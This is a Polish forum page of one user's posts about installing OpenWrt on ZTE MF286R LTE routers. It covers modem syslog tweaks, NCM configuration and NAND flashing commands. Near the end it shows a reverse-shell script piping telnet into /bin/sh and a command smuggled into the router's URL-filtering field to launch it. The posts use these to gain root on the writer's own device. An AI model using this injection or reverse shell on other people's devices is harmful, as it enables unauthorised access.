W międzyczasie PR dodający comgt-ncm zmerdżowany, do 22.03 też.
Dobra robota
Widziałem w masterze, ale nie widzę jeszcze w branchu do 22.03: https://github.com/openwrt/openwrt/blob … d.mk#L337.
Nie jesteś zalogowany. Proszę się zalogować lub zarejestrować.
eko.one.pl → Posty przez 7cnd
Strony 1
W międzyczasie PR dodający comgt-ncm zmerdżowany, do 22.03 też.
Dobra robota
Widziałem w masterze, ale nie widzę jeszcze w branchu do 22.03: https://github.com/openwrt/openwrt/blob … d.mk#L337.
Przygladając się modemowi (`19d2:1489 ZTE ZTE`) po ADB (`adb shell` z openwrt) widzę, że ma on folder `/logfs` do którego co sekundę leci do `/logfs/syslog` wpis tej postaci:
Apr 22 09:52:20 OpenWrt user.emerg syslog: src/zte_wan_nw_view_handler.c 1611 clear 3gpp2 provider name NV in zte_wan_nw_write_plmn_info_icon_nv_proc()
Apr 22 09:52:21 OpenWrt user.emerg syslog: src/zte_wan_nw_view_handler.c 1611 clear 3gpp2 provider name NV in zte_wan_nw_write_plmn_info_icon_nv_proc()
Oczywiście nie jest to w żadnym `tmpfs` tylko na `ubi`. Potencjalnie taka częstość może skutkować większym flash wear modemu (modem ma oddzielny system, z oddzielnym flashem). Nie sprawdzałem jak to się przekłada na konkretne write requesty, ale zakładam, że flush jest co parę sekund.
Syslog jest startowany przez:
cat /etc/rcS-zte
cat /usr/zte/zte_conf/scripts/zte_syslog.sh
Co uruchamia proces:
syslogd -O /logfs/syslog -l 6 -s 1024
Fajnie, bo syslog jest konfigurowalny:
$ cfg get syslog_path
/logfs
$ cfg get syslog_mode
0
$ cfg get syslog_level
6
$ cfg get syslog_size
1024
$ cfg get syslog_host_ip
Obsługiwane są dwa tryby `syslog_mode=0` to jest zapis lokalny, `syslog_mode=1` to wysyłanie sysloga do hosta IP.
Domyślnie jest ustawiony level 6 (info: https://en.wikipedia.org/wiki/Syslog#Severity_level). Niestety wpisy mają `user.emerg`. Czyli nie można łatwo odfiltrować aby zapisywał tylko błedy.
Okazuje się, że ustawiając `mode=0` oraz `level=0` efektywnie można wyłączyć sysloga i pozbyć się potencjalnego problemu (że modem padnie za parę lat):
cfg set syslog_mode=0
cfg set syslog_level=0
cfg save
reboot # zrestartuje całe urządzenie
Ustawiając wyższy level (np. 6) można przywrócić zapis logów.
OK. Przeczytałem dokładnie wątek (ignorancja). Wszystko jasne. Konfiguracja `ncm` zamiast `qmi`. Dzięki za super robotę ![]()
config interface 'wan'
option proto 'ncm'
option auth 'none'
option device '/dev/ttyACM0'
option pdptype 'IP'
option ipv6 'auto'
option apn 'darmowy'
Doszedłem. Okazuje się, że trzeba przestawić prędkość SPI 0.1 (ten który ma NANDa) (i dokładnie to robi update_control) aby móc zapisywać. Jeśli nie zmieni się prędkość to jest `invalid access` https://eko.one.pl/forum/viewtopic.php? … 1#p268701.
Najpierw reverse-shell: https://eko.one.pl/forum/viewtopic.php? … 8#p268688.
Lista komend w moim przypadku do flashowania MF286R przez reverse-shella. Firmware był czytany z USB.
cd /tmp
cp /usr/sbin/flash_erase .
cp /usr/sbin/nandwrite .echo 102 > /sys/devices/platform/ath79-spi/spi_master/spi0/spi0.1/change_speed
cat /proc/mtd # mtd16: 01d00000 00020000 "firmware"
./flash_erase /dev/mtd16 0 0
./nandwrite -p /dev/mtd16 /tmp/usb_disk/openwrt-ath79-nand-zte_mf286r-initramfs-kernel.bin
Czyli da radę bez rozbierania i UARTa ![]()
No, i widzę że 22.03.0-rc1 zaczeło się pojawiać: https://downloads.openwrt.org/releases/ … ade.bin...
Ale modem nie działa, wykrywa, ale nie działa:
root@OpenWrt:~# lsusb
Bus 001 Device 002: ID 19d2:1489 ZTE ZTE
Bus 001 Device 001: ID 1d6b:0002 Linux 5.10.111 ehci_hcd EHCI Host Controller
Bus 002 Device 002: ID 0951:1607 Kingston DataTraveler 2.0
Bus 002 Device 001: ID 1d6b:0002 Linux 5.10.111 ehci_hcd EHCI Host Controller
root@OpenWrt:~# lsusb -t
/: Bus 02.Port 1: Dev 1, Class=root_hub, Driver=ehci-platform/1p, 480M
|__ Port 1: Dev 2, If 0, Class=, Driver=, 480M
/: Bus 01.Port 1: Dev 1, Class=root_hub, Driver=ehci-platform/1p, 480M
|__ Port 1: Dev 2, If 0, Class=, Driver=rndis_host, 480M
|__ Port 1: Dev 2, If 1, Class=, Driver=rndis_host, 480M
|__ Port 1: Dev 2, If 2, Class=, Driver=cdc_acm, 480M
|__ Port 1: Dev 2, If 3, Class=, Driver=cdc_acm, 480M
|__ Port 1: Dev 2, If 4, Class=, Driver=, 480M
|__ Port 1: Dev 2, If 5, Class=, Driver=, 480M
|__ Port 1: Dev 2, If 6, Class=, Driver=cdc_ether, 480M
|__ Port 1: Dev 2, If 7, Class=, Driver=cdc_ether, 480M
Mam też taką samą wersję, tylko i wyłącznie wlutowanie RS232 i użycie konwertera aby
się do niego dostać.
T-Mobile
CR_TMOPLMF286RV1.0.1.B04
MF286-1.0
No to mówię, że nie
Mój nie był rozkręcany.
Ale może faktycznie nie da się nadpisać FW:
[ 636.710000] illeagl access !!!
[ 636.720000] mtdblock: erase of region [0x0, 0x20000] on "firmware" failed
[ 636.720000] end_request: I/O error, dev mtdblock16, sector 10320
Ale na ZTE MF286R ta metoda nie działa.
Trzeba rozebrać i podłączyć się USB/RS232
Właśnie mam przed sobą podobno MF286R (z T-Mobile), ale:
- na FV jest to MF286R
- na tabliczce znamionowej jest to MF286
- w FW jest to Software Version CR_TMOPLMF286RV1.0.1B04
- w FW jest to Hardware Version MF286-1.0
- w nvram jest to `tr069_ModelName=MF286R`
![]()
Miałem problem z odpaleniem telnetd przez busybox-mips. Wydaje się, że proces umierał. Można użyć trochę innej metody na MF286R z reverse-shell jako, że stock ma wkompilowany telnet. Nie jest to aż tak przyjemne jak zwykły telnet, ale wystarczy do zrobienia kopii.
Plik: <tftp-root>/telnet.sh
#!/bin/sh
exec 2> /var/usb_disk/test6.log
exec 1>&2set -x
RHOST=192.168.1.22
RPORT=12345
TF=/tmp/telnet.fifomkfifo $TF
telnet $RHOST $RPORT 0<$TF | /bin/sh 1>$TF
Potem:
- na hoście: `nc -l 12345`
- oraz do URL filtering: `http://aa&zte_debug.sh 192.168.1.22 telnet.sh`
- jako, że nie ma prompta, trzeba wpisać jakieś polecenie ala `ls` lub coś podobnego
Strony 1
eko.one.pl → Posty przez 7cnd
Forum oparte o PunBB, wspierane przez Informer Technologies, Inc